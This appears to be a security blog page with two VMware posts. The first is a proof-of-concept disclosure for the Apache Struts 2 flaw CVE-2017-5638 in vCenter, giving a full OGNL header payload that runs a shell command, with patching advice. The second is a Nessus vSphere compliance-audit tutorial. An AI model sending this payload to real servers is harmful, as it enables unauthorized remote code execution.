RSS Feed

Entries in VMWare (2)


VMware vCenter Unauthenticated RCE using CVE-2017-5638 (Apache Struts 2 RCE)

Following up on the previous post analysing CVE-2017-5638, we would like to present a working Proof of Concept for Remote Code Execution (RCE) in VMware vCenter exploiting this vulnerability. While understandably a lot of the focus after the public disclosure has been on identifying and patching Internet exposed systems, it is also important to address systems exposed to business partners and internal users. We are publishing the information below to demonstrate the importance of patching internal systems, as they are often overlooked and can pose significant risk.

A few days after CVE-2017-5638 was publically disclosed VMware published an advisory that some of their products were affected, including VMware vCenter. However, the advisory does not contain any further details. VMware vCenter is the primary solution for managing ESXi virtualisation. One of the administration interfaces is an HTTP-based GUI panel. If you intercept vCenter HTTP traffic, you will realise that this is pure BlazeDS format (Adobe proprietary). An example request is shown below.

The main challenge in this case was to identify what part of the application is using Apache Struts 2 and if this is directly accessible to end users. After spending some time searching through the vCenter server, it was noticed that a Struts 2 library is stored in one of the directories responsible for the reporting engine, perfcharts. The file path is /usr/lib/vmware-perfcharts/instance/webapps/statsreport/.

The reporting engine is hosted on an Apache Tomcat server and by searching through Tomcat configuration files, it was discovered that requests to /StatsChartServlet are routed to the engine.


However, this does not simply produce a valid URL. Looking for URLs containing “StatsChartServlet” we were able to find following request. In this instance we used a Burp Proxy log but other proxy or access logs would also contain the full URL if the relevant functionality has been accessed.

So it appears that the prefcharts reporting engine is accessible via the following URL:


Sending any malicious payload appropriate for the CVE-2017-5638 vulnerability to that endpoint:

GET /statsreport/ HTTP/1.1
Host: vcenter:443
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@[email protected]('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
Connection: close
Content-Length: 0

results in execution of a command (in this instance /usr/bin/id):

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Date: Thu, 16 Mar 2017 14:33:51 GMT
Connection: close
Content-Length: 86

uid=1011(perfcharts) gid=100(users) groups=100(users),16(dialout),33(video),1004(cis)

Affected VMware vCenter versions are 6.0 U2a and below, and 6.5.0b and below. Security patches for both branches are available on the vendor’s website.


Using Nessus to Audit VMware vSphere Configurations

Nessus has the ability to run compliance checking scripts for many different services and servers, and is a great resource for aligning a server with “best practice” server hardening guides, such as those released by the Center for Internet Security (CIS). Recently VMware officially released the vSphere 5.1 Hardening Guide, for which Tenable have then released Nessus compliance scripts to check for the recommended configurations. When using these scripts, there are a few forum posts (provided by Nessus and Tenable) that provide some information, and although they can collectively provide good enough instructions on how to run the scan, they omit a few details that would have been very handy to know prior to performing these compliance checks.

So, taking my own experiences with the audit scripts, and merging these with the already available resources, I’d like to provide others with some straightforward answers to the questions and issues I had when first running the VMware vSphere compliance audit scans.

How to Perform a Scan

Our goal is to create a minimal compliance scan that is based around the VMware vSphere Compliance audit, and also reduces the number of plugins required to effectively run the scan. The reason we want to segregate the Policy Compliance scan (although it is not required) is that it will help teach us how to perform the compliance scan as a standalone scan, and can also help troubleshoot issues when learning the new scan type. 

Jumping right in, let’s create a new Nessus Policy and modify it to fit our needs. Within the Policy, all of the General Settings can remain the same, and we want to modify the Plugins enabled for our new Policy. Only enable the following plugins so the scan will target the VMware Policy Compliance audit.

  • General
  • Service Detection
  • VMware ESX Local Security Checks
  • VMware vCenter/vSphere Compliance Check (under “Policy Compliance”)

The idea of selecting only these Plugins is to greatly reduce the amount of time Nessus will take when all we are concerned with is performing a compliance check scan.

After configuring the Plugin information, we want to change the Preferences to match our VMware configuration. Under the “Preference Type” drop-down menu we select “VMware SOAP API Settings”.

Now we fill in the administrative VMware user name and password. If the VMware host is using a self-signed certificate, ensure the “Ignore SSL Certificate” checkbox is selected

After configuring our credentials, the last step to creating a policy is the select the appropriate audit file. Under the “Preference Type” dropdown, select the “VMware vCenter/vSphere Compliance Checks” and then browse to the appropriate audit file. We will be using “vmware_vsphere_5.x_hardening_guide.audit”.

Now that our Policy is created, we need to start a new scan and ensure our VMware host is set as the target. Once the scan has finished, we will see a Compliance option under the Scan Results indicating the VMware Policy Compliance plugin ran properly.


Interpreting the Results

Now that we have completed a scan of our VMware host we can start to review the results. It’s recommended that a copy of the relevant VMware vSphere Hardening Guide is available so that when you’re reviewing the results the best practice guide can be referenced. When reviewing the results, under the “Reference Information” the Profile directory correlates directly to the Profile provided in the hardening guide for each compliance check.


The profiles (taken from the VMware Guide) give context as to the type of requirements for your environment, and potentially compliance rules that are unnecessary for your needs.

  • Profile 3: guidelines that should be implemented in all environments
  • Profile 2: guidelines that should be implemented for more sensitive environments, e.g. those handling more sensitive data, those subject to stricter compliance rules, etc
  • Profile 1: guidelines that only be implemented in the highest security environments, e.g. top-secret government or military, extremely sensitive data, etc

When performing a scan using an unconfigured default audit file, one of the first things noticed will be the number of failed compliance rules. Since this is what I’ve done for this example, the list will go on for at least 50 failed compliance checks!

Once we dig deeper in some of the results we realize an un-tuned audit file can provide a poor representation of how our server is hardened. Reviewing the results manually gives us the ability to interpret a few categories of “false positives” in the sense that the audit cannot be run accurately because it is not configured to the local environment. In most cases, everyone will run the default audit file at least once before realizing that they should have tuned the configuration for their environment.  

No Audit File Tuning

When the audit file is not tuned for the environment, all of the variables that are supposed to be set within the configuration will be flagged as failing their compliance checks. When viewing the Description for these false positive checks, you will notice “NOTE: Update {VARIABLE} to the appropriate value for the local environment” being present.

In order to correct these results, every variable that is supposed to be customized for the local environment will have to be set. This is done by modifying the original audit file that was added to the Policy.

VMware Tools Not Installed

If VMware Tools are not installed on the Virtual Machines, there will be the occurrence of “toolsNotFound” found within the Affected Host List. This information is much easier to view if the Nessus scan results have been exported to HTML first, and I recommend exporting the results to HTML and viewing them within Nessus at the same time, especially when scanning multiple hosts.

This can be fixed in one of two ways, by either installing VMware Tools on the guest operating system (which isn’t necessarily ideal for each situation), or by editing the audit file and remove the compliance checks that require VMware Tools. 

Tips & Tricks

The following are some of the “gotchas” and things I wish I had known before performing these scans in test and production environments. These tips will hopefully reduce some confusion when interpreting the results, and ensuring the scan has run properly. 

  • If there are multiple audit files selected during the compliance review under the “VMware vCenter/vSphere Compliance Checks”, they will not be able to be separated under the Nessus results because they will have the same plugin ID #64455. This can be problematic when the audit files are not configured properly because you cannot filter on each of the separate audit file’s results.
  • If you use multiple audit files when creating the Policy (as recommended by the Nessus forums), there will be duplicate entries within the compliance checks. Because you can’t separate the results this becomes even more problematic, and a better thing to do would be to use each audit file separately for a separate Policy until they are properly tuned. 
  • You can test your credentials by installing and configuring the vSphere Client and attempting to authenticate using the client as one option. But, if this is not installed on your machine, you can’t install it, or don’t want to install it, a quicker test to see if your username and password are correct, and to verify that  VMware vSphere is running the API, is to navigate to the /mob directory of the target.

Once properly authenticated you will be presented with the API interface.

This is a useful test when the credentials are being supplied by an external party, or are particularly long (and easy to fat-finger).

  • When creating the VMware vSphere Policy, it must be adjusted for every unique username and password combination for each host. So, if you are scanning multiple hosts and they do not have the same username and password, the Nessus Policy will have to be updated for each host scanned.
  • If you’ve run a scan and want to filter out Compliance Check results more efficiently to match the hardening guide, a suggestion is to export the data to a CSV file and open it with a spreadsheet application that can use more complex filtering requirements that Nessus does not provide:
    • Plugin ID is 64455 (vSphere Compliance Plugin ID)
    • AND Contains FAILED in the Description
    • AND does not contain “update {” in the Description
    • AND does not contain “NOT found” in the Description

This will omit the false positives that occur from a lack of an audit file configuration and can provide you with a quick-win before you have the ability to properly configure the audit file for the local environment.